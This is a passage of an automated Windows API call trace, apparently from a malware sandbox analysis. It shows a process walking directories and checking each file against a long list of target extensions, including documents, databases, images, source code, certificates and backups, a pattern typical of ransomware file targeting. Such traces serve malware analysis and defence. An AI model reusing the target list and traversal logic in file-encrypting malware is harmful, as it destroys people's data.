(lpString1=".jpf", lpString2=".dll") returned 1 [0251.213] lstrlenW (lpString=".jpg") returned 4 [0251.213] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0251.213] lstrlenW (lpString=".jpx") returned 4 [0251.214] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1 [0251.214] lstrlenW (lpString=".js") returned 3 [0251.214] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1 [0251.214] lstrlenW (lpString=".jsf") returned 4 [0251.214] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1 [0251.214] lstrlenW (lpString=".json") returned 5 [0251.214] lstrcmpiW (lpString1=".json", lpString2="C.dll") returned -1 [0251.214] lstrlenW (lpString=".jsp") returned 4 [0251.214] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1 [0251.214] lstrlenW (lpString=".kdc") returned 4 [0251.214] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1 [0251.214] lstrlenW (lpString=".kmz") returned 4 [0251.214] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1 [0251.214] lstrlenW (lpString=".kwm") returned 4 [0251.214] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1 [0251.214] lstrlenW (lpString=".lasso") returned 6 [0251.214] lstrcmpiW (lpString1=".lasso", lpString2="OC.dll") returned -1 [0251.214] lstrlenW (lpString=".lbi") returned 4 [0251.214] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1 [0251.214] lstrlenW (lpString=".lgf") returned 4 [0251.214] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1 [0251.214] lstrlenW (lpString=".lgp") returned 4 [0251.214] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1 [0251.214] lstrlenW (lpString=".log") returned 4 [0251.214] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1 [0251.214] lstrlenW (lpString=".m1v") returned 4 [0251.214] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1 [0251.214] lstrlenW (lpString=".m4a") returned 4 [0251.214] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1 [0251.215] lstrlenW (lpString=".m4v") returned 4 [0251.215] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1 [0251.215] lstrlenW (lpString=".max") returned 4 [0251.215] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1 [0251.215] lstrlenW (lpString=".md") returned 3 [0251.215] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1 [0251.215] lstrlenW (lpString=".mda") returned 4 [0251.215] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1 [0251.215] lstrlenW (lpString=".mdb") returned 4 [0251.215] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1 [0251.215] lstrlenW (lpString=".mde") returned 4 [0251.215] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1 [0251.215] lstrlenW (lpString=".mdf") returned 4 [0251.215] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1 [0251.215] lstrlenW (lpString=".mdw") returned 4 [0251.215] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1 [0251.215] lstrlenW (lpString=".mef") returned 4 [0251.215] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1 [0251.215] lstrlenW (lpString=".mft") returned 4 [0251.215] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1 [0251.215] lstrlenW (lpString=".mfw") returned 4 [0251.215] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1 [0251.215] lstrlenW (lpString=".mht") returned 4 [0251.215] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1 [0251.215] lstrlenW (lpString=".mhtml") returned 6 [0251.215] lstrcmpiW (lpString1=".mhtml", lpString2="OC.dll") returned -1 [0251.215] lstrlenW (lpString=".mka") returned 4 [0251.215] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1 [0251.216] lstrlenW (lpString=".mkidx") returned 6 [0251.216] lstrcmpiW (lpString1=".mkidx", lpString2="OC.dll") returned -1 [0251.216] lstrlenW (lpString=".mkv") returned 4 [0251.216] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1 [0251.216] lstrlenW (lpString=".mos") returned 4 [0251.216] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1 [0251.216] lstrlenW (lpString=".mov") returned 4 [0251.216] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1 [0251.216] lstrlenW (lpString=".mp3") returned 4 [0251.216] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1 [0251.216] lstrlenW (lpString=".mp4") returned 4 [0251.216] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1 [0251.216] lstrlenW (lpString=".mpeg") returned 5 [0251.216] lstrcmpiW (lpString1=".mpeg", lpString2="C.dll") returned -1 [0251.216] lstrlenW (lpString=".mpg") returned 4 [0251.216] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1 [0251.216] lstrlenW (lpString=".mpv") returned 4 [0251.216] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1 [0251.216] lstrlenW (lpString=".mrw") returned 4 [0251.216] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1 [0251.216] lstrlenW (lpString=".msg") returned 4 [0251.216] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1 [0251.216] lstrlenW (lpString=".mxl") returned 4 [0251.216] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1 [0251.216] lstrlenW (lpString=".myd") returned 4 [0251.216] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1 [0251.216] lstrlenW (lpString=".myi") returned 4 [0251.216] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1 [0251.216] lstrlenW (lpString=".nef") returned 4 [0251.216] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1 [0251.216] lstrlenW (lpString=".nrw") returned 4 [0251.217] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1 [0251.217] lstrlenW (lpString=".obj") returned 4 [0251.217] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1 [0251.217] lstrlenW (lpString=".odb") returned 4 [0251.217] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1 [0251.217] lstrlenW (lpString=".odc") returned 4 [0251.217] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1 [0251.217] lstrlenW (lpString=".odm") returned 4 [0251.217] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1 [0251.217] lstrlenW (lpString=".odp") returned 4 [0251.217] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1 [0251.217] lstrlenW (lpString=".ods") returned 4 [0251.217] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1 [0251.217] lstrlenW (lpString=".oft") returned 4 [0251.217] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1 [0251.217] lstrlenW (lpString=".one") returned 4 [0251.217] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1 [0251.217] lstrlenW (lpString=".onepkg") returned 7 [0251.217] lstrcmpiW (lpString1=".onepkg", lpString2="nOC.dll") returned -1 [0251.217] lstrlenW (lpString=".onetoc2") returned 8 [0251.217] lstrcmpiW (lpString1=".onetoc2", lpString2="inOC.dll") returned -1 [0251.217] lstrlenW (lpString=".opt") returned 4 [0251.217] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1 [0251.217] lstrlenW (lpString=".oqy") returned 4 [0251.217] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1 [0251.217] lstrlenW (lpString=".orf") returned 4 [0251.217] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1 [0251.217] lstrlenW (lpString=".p12") returned 4 [0251.217] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1 [0251.218] lstrlenW (lpString=".p7b") returned 4 [0251.218] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1 [0251.218] lstrlenW (lpString=".p7c") returned 4 [0251.218] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1 [0251.218] lstrlenW (lpString=".pam") returned 4 [0251.218] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1 [0251.218] lstrlenW (lpString=".pbm") returned 4 [0251.218] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1 [0251.218] lstrlenW (lpString=".pct") returned 4 [0251.218] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1 [0251.218] lstrlenW (lpString=".pcx") returned 4 [0251.218] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1 [0251.218] lstrlenW (lpString=".pdd") returned 4 [0251.218] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1 [0251.218] lstrlenW (lpString=".pdf") returned 4 [0251.218] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0251.218] lstrlenW (lpString=".pdp") returned 4 [0251.218] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1 [0251.218] lstrlenW (lpString=".pef") returned 4 [0251.218] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1 [0251.218] lstrlenW (lpString=".pem") returned 4 [0251.218] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1 [0251.218] lstrlenW (lpString=".pff") returned 4 [0251.218] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1 [0251.218] lstrlenW (lpString=".pfm") returned 4 [0251.218] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1 [0251.218] lstrlenW (lpString=".pfx") returned 4 [0251.218] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1 [0251.218] lstrlenW (lpString=".pgm") returned 4 [0251.218] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1 [0251.219] lstrlenW (lpString=".php") returned 4 [0251.219] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1 [0251.219] lstrlenW (lpString=".php3") returned 5 [0251.219] lstrcmpiW (lpString1=".php3", lpString2="C.dll") returned -1 [0251.219] lstrlenW (lpString=".php4") returned 5 [0251.219] lstrcmpiW (lpString1=".php4", lpString2="C.dll") returned -1 [0251.219] lstrlenW (lpString=".php5") returned 5 [0251.219] lstrcmpiW (lpString1=".php5", lpString2="C.dll") returned -1 [0251.219] lstrlenW (lpString=".phtml") returned 6 [0251.219] lstrcmpiW (lpString1=".phtml", lpString2="OC.dll") returned -1 [0251.219] lstrlenW (lpString=".pict") returned 5 [0251.219] lstrcmpiW (lpString1=".pict", lpString2="C.dll") returned -1 [0251.219] lstrlenW (lpString=".pl") returned 3 [0251.219] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1 [0251.219] lstrlenW (lpString=".pls") returned 4 [0251.219] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1 [0251.219] lstrlenW (lpString=".pm") returned 3 [0251.219] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1 [0251.219] lstrlenW (lpString=".png") returned 4 [0251.219] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0251.219] lstrlenW (lpString=".pnm") returned 4 [0251.219] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1 [0251.219] lstrlenW (lpString=".pot") returned 4 [0251.219] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1 [0251.219] lstrlenW (lpString=".potm") returned 5 [0251.219] lstrcmpiW (lpString1=".potm", lpString2="C.dll") returned -1 [0251.219] lstrlenW (lpString=".potx") returned 5 [0251.219] lstrcmpiW (lpString1=".potx", lpString2="C.dll") returned -1 [0251.219] lstrlenW (lpString=".ppa") returned 4 [0251.220] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1 [0251.220] lstrlenW (lpString=".ppam") returned 5 [0251.220] lstrcmpiW (lpString1=".ppam", lpString2="C.dll") returned -1 [0251.220] lstrlenW (lpString=".ppm") returned 4 [0251.220] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1 [0251.220] lstrlenW (lpString=".pps") returned 4 [0251.220] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1 [0251.220] lstrlenW (lpString=".ppsm") returned 5 [0251.220] lstrcmpiW (lpString1=".ppsm", lpString2="C.dll") returned -1 [0251.220] lstrlenW (lpString=".ppt") returned 4 [0251.220] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0251.220] lstrlenW (lpString=".pptm") returned 5 [0251.220] lstrcmpiW (lpString1=".pptm", lpString2="C.dll") returned -1 [0251.220] lstrlenW (lpString=".pptx") returned 5 [0251.220] lstrcmpiW (lpString1=".pptx", lpString2="C.dll") returned -1 [0251.220] lstrlenW (lpString=".prn") returned 4 [0251.220] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1 [0251.220] lstrlenW (lpString=".ps") returned 3 [0251.220] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1 [0251.220] lstrlenW (lpString=".psb") returned 4 [0251.220] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1 [0251.220] lstrlenW (lpString=".psd") returned 4 [0251.220] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1 [0251.220] lstrlenW (lpString=".pst") returned 4 [0251.220] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1 [0251.220] lstrlenW (lpString=".ptx") returned 4 [0251.220] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1 [0251.220] lstrlenW (lpString=".pub") returned 4 [0251.220] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1 [0251.220] lstrlenW (lpString=".pwm") returned 4 [0251.221] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1 [0251.221] lstrlenW (lpString=".pxr") returned 4 [0251.221] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1 [0251.221] lstrlenW (lpString=".py") returned 3 [0251.221] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1 [0251.221] lstrlenW (lpString=".qt") returned 3 [0251.221] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1 [0251.221] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x396eb94 | out: lpFindFileData=0x396eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9eb0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="npMeetingJoinPluginOC.dll", cAlternateFileName="NPMEET~1.DLL")) returned 0 [0251.221] FindClose (in: hFindFile=0x6cfd88 | out: hFindFile=0x6cfd88) returned 1 [0251.221] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0251.223] FindNextFileW (in: hFindFile=0x6cfd08, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 0 [0251.223] FindClose (in: hFindFile=0x6cfd08 | out: hFindFile=0x6cfd08) returned 1 [0251.223] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0251.224] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x396f08c | out: lpFindFileData=0x396f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 0 [0251.224] FindClose (in: hFindFile=0x6d0008 | out: hFindFile=0x6d0008) returned 1 [0251.224] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0251.228] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x396f308 | out: lpFindFileData=0x396f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee8d7d1d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0251.228] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x40f0050 [0251.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\System") returned 49 [0251.228] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\System\\*", lpFindFileData=0x396f08c | out: lpFindFileData=0x396f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee8d7d1d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x6d0008 [0251.229] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x396f08c | out: lpFindFileData=0x396f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee8d7d1d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0251.230] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x396f08c | out: lpFindFileData=0x396f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee7cccb2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee7cccb2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf466c4e5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x27450, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="atl100.dll", cAlternateFileName="")) returned 1 [0251.230] lstrlenW (lpString="atl100.dll") returned 10 [0251.230] lstrlenW (lpString=".1cd") returned 4 [0251.230] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0251.230] lstrlenW (lpString=".3ds") returned 4 [0251.230] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1 [0251.230] lstrlenW (lpString=".3fr") returned 4 [0251.230] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1 [0251.230] lstrlenW (lpString=".3g2") returned 4 [0251.230] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1 [0251.230] lstrlenW (lpString=".3gp") returned 4 [0251.230] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1 [0251.230] lstrlenW (lpString=".7z") returned 3 [0251.230] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0251.230] lstrlenW (lpString=".accda") returned 6 [0251.230] lstrcmpiW (lpString1=".accda", lpString2="00.dll") returned -1 [0251.230] lstrlenW (lpString=".accdb") returned 6 [0251.230] lstrcmpiW (lpString1=".accdb", lpString2="00.dll") returned -1 [0251.230] lstrlenW (lpString=".accdc") returned 6 [0251.230] lstrcmpiW (lpString1=".accdc", lpString2="00.dll") returned -1 [0251.230] lstrlenW (lpString=".accde") returned 6 [0251.230] lstrcmpiW (lpString1=".accde", lpString2="00.dll") returned -1 [0251.230] lstrlenW (lpString=".accdt") returned 6 [0251.230] lstrcmpiW (lpString1=".accdt", lpString2="00.dll") returned -1 [0251.231] lstrlenW (lpString=".accdw") returned 6 [0251.231] lstrcmpiW (lpString1=".accdw", lpString2="00.dll") returned -1 [0251.231] lstrlenW (lpString=".adb") returned 4 [0251.231] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1 [0251.231] lstrlenW (lpString=".adp") returned 4 [0251.231] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1 [0251.231] lstrlenW (lpString=".ai") returned 3 [0251.231] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1 [0251.231] lstrlenW (lpString=".ai3") returned 4 [0251.231] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1 [0251.231] lstrlenW (lpString=".ai4") returned 4 [0251.231] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1 [0251.231] lstrlenW (lpString=".ai5") returned 4 [0251.231] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1 [0251.231] lstrlenW (lpString=".ai6") returned 4 [0251.231] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1 [0251.231] lstrlenW (lpString=".ai7") returned 4 [0251.231] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1 [0251.231] lstrlenW (lpString=".ai8") returned 4 [0251.231] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1 [0251.231] lstrlenW (lpString=".anim") returned 5 [0251.231] lstrcmpiW (lpString1=".anim", lpString2="0.dll") returned -1 [0251.231] lstrlenW (lpString=".arw") returned 4 [0251.231] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1 [0251.231] lstrlenW (lpString=".as") returned 3 [0251.231] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1 [0251.231] lstrlenW (lpString=".asa") returned 4 [0251.231] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1 [0251.231] lstrlenW (lpString=".asc") returned 4 [0251.232] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1 [0251.232] lstrlenW (lpString=".ascx") returned 5 [0251.232] lstrcmpiW (lpString1=".ascx", lpString2="0.dll") returned -1 [0251.232] lstrlenW (lpString=".asm") returned 4 [0251.232] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1 [0251.232] lstrlenW (lpString=".asmx") returned 5 [0251.232] lstrcmpiW (lpString1=".asmx", lpString2="0.dll") returned -1 [0251.232] lstrlenW (lpString=".asp") returned 4 [0251.232] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1 [0251.232] lstrlenW (lpString=".aspx") returned 5 [0251.232] lstrcmpiW (lpString1=".aspx", lpString2="0.dll") returned -1 [0251.232] lstrlenW (lpString=".asr") returned 4 [0251.232] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1 [0251.232] lstrlenW (lpString=".asx") returned 4 [0251.232] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1 [0251.232] lstrlenW (lpString=".avi") returned 4 [0251.232] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0251.232] lstrlenW (lpString=".avs") returned 4 [0251.232] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1 [0251.232] lstrlenW (lpString=".backup") returned 7 [0251.232] lstrcmpiW (lpString1=".backup", lpString2="100.dll") returned -1 [0251.232] lstrlenW (lpString=".bak") returned 4 [0251.232] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1 [0251.232] lstrlenW (lpString=".bay") returned 4 [0251.232] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1 [0251.232] lstrlenW (lpString=".bd") returned 3 [0251.232] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1 [0251.232] lstrlenW (lpString=".bin") returned 4 [0251.232] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1 [0251.233] lstrlenW (lpString=".bmp") returned 4 [0251.233] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1 [0251.233] lstrlenW (lpString=".bz2") returned 4 [0251.233] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0251.233] lstrlenW (lpString=".c") returned 2 [0251.233] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1 [0251.233] lstrlenW (lpString=".cdr") returned 4 [0251.233] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1 [0251.233] lstrlenW (lpString=".cer") returned 4 [0251.233] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1 [0251.233] lstrlenW (lpString=".cf") returned 3 [0251.233] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1 [0251.233] lstrlenW (lpString=".cfc") returned 4 [0251.233] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1 [0251.233] lstrlenW (lpString=".cfm") returned 4 [0251.233] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1 [0251.233] lstrlenW (lpString=".cfml") returned 5 [0251.233] lstrcmpiW (lpString1=".cfml", lpString2="0.dll") returned -1 [0251.233] lstrlenW (lpString=".cfu") returned 4 [0251.233] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1 [0251.233] lstrlenW (lpString=".chm") returned 4 [0251.233] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1 [0251.233] lstrlenW (lpString=".cin") returned 4 [0251.233] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1 [0251.233] lstrlenW (lpString=".class") returned 6 [0251.233] lstrcmpiW (lpString1=".class", lpString2="00.dll") returned -1 [0251.233] lstrlenW (lpString=".clx") returned 4 [0251.233] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1 [0251.233] lstrlenW (lpString=".config") returned 7 [0251.234] lstrcmpiW (lpString1=".config", lpString2="100.dll") returned -1 [0251.234] lstrlenW (lpString=".cpp") returned 4 [0251.234] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1 [0251.234] lstrlenW (lpString=".cr2") returned 4 [0251.234] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1 [0251.234] lstrlenW (lpString=".crt") returned 4 [0251.234] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1 [0251.234] lstrlenW (lpString=".crw") returned 4 [0251.234] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1 [0251.234] lstrlenW (lpString=".cs") returned 3 [0251.234] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1 [0251.234] lstrlenW (lpString=".css") returned 4 [0251.234] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1 [0251.234] lstrlenW (lpString=".csv") returned 4 [0251.234] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1 [0251.234] lstrlenW (lpString=".cub") returned 4 [0251.234] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1 [0251.234] lstrlenW (lpString=".dae") returned 4 [0251.234] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1 [0251.234] lstrlenW (lpString=".dat") returned 4 [0251.234] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0251.234] lstrlenW (lpString=".db") returned 3 [0251.234] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1 [0251.234] lstrlenW (lpString=".dbf") returned 4 [0251.234] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0251.234] lstrlenW (lpString=".dbx") returned 4 [0251.234] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1 [0251.234] lstrlenW (lpString=".dc3") returned 4 [0251.235] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1 [0251.235] lstrlenW (lpString=".dcm") returned 4 [0251.235] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1 [0251.235] lstrlenW (lpString=".dcr") returned 4 [0251.235] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1 [0251.235] lstrlenW (lpString=".der") returned 4 [0251.235] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1 [0251.235] lstrlenW (lpString=".dib") returned 4 [0251.235] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1 [0251.235] lstrlenW (lpString=".dic") returned 4 [0251.235] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1 [0251.235] lstrlenW (lpString=".dif") returned 4 [0251.235] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1 [0251.235] lstrlenW (lpString=".divx") returned 5 [0251.235] lstrcmpiW (lpString1=".divx", lpString2="0.dll") returned -1 [0251.235] lstrlenW (lpString=".djvu") returned 5 [0251.235] lstrcmpiW (lpString1=".djvu", lpString2="0.dll") returned -1 [0251.235] lstrlenW (lpString=".dng") returned 4 [0251.235] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1 [0251.235] lstrlenW (lpString=".doc") returned 4 [0251.235] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0251.235] lstrlenW (lpString=".docm") returned 5 [0251.235] lstrcmpiW (lpString1=".docm", lpString2="0.dll") returned -1 [0251.235] lstrlenW (lpString=".docx") returned 5 [0251.235] lstrcmpiW (lpString1=".docx", 